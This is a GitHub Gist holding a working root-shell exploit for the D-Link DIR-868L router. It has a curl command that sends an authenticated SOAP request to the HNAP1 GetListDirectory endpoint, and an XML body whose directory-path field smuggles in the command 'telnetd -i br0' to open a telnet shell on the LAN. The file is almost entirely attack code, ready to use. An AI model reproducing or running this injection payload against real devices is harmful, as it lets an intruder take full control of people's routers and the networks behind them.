Last active
January 5, 2018 17:58
-
-
Save angelsl/bba00d0d66c8fc3f13be2c0d52bc3118 to your computer and use it in GitHub Desktop.
D-Link DIR-868L root shell from LAN
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl -u user:pass -X POST -H "Content-Type: text/xml" -H "SOAPAction: \"http://purenetworks.com/HNAP1/GetListDirectory\"" --data-binary @soap.xml http://<router ip>/HNAP1/ | |
# warning: hangs httpd and xmldb | |
# fixme: don't hang httpd and xmldb |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf8"?> | |
<soap:Envelope | |
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance" | |
xmlns:xsd="http://www.w3.org/2001/XMLSchema" | |
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" | |
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> | |
<soap:Body> | |
<GetListDirectory xmlns="http://purenetworks.com/HNAP1/"> | |
<ListDirectoryPath>/ & telnetd -i br0 & true</ListDirectoryPath> | |
</GetListDirectory> | |
</soap:Body> | |
</soap:Envelope> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment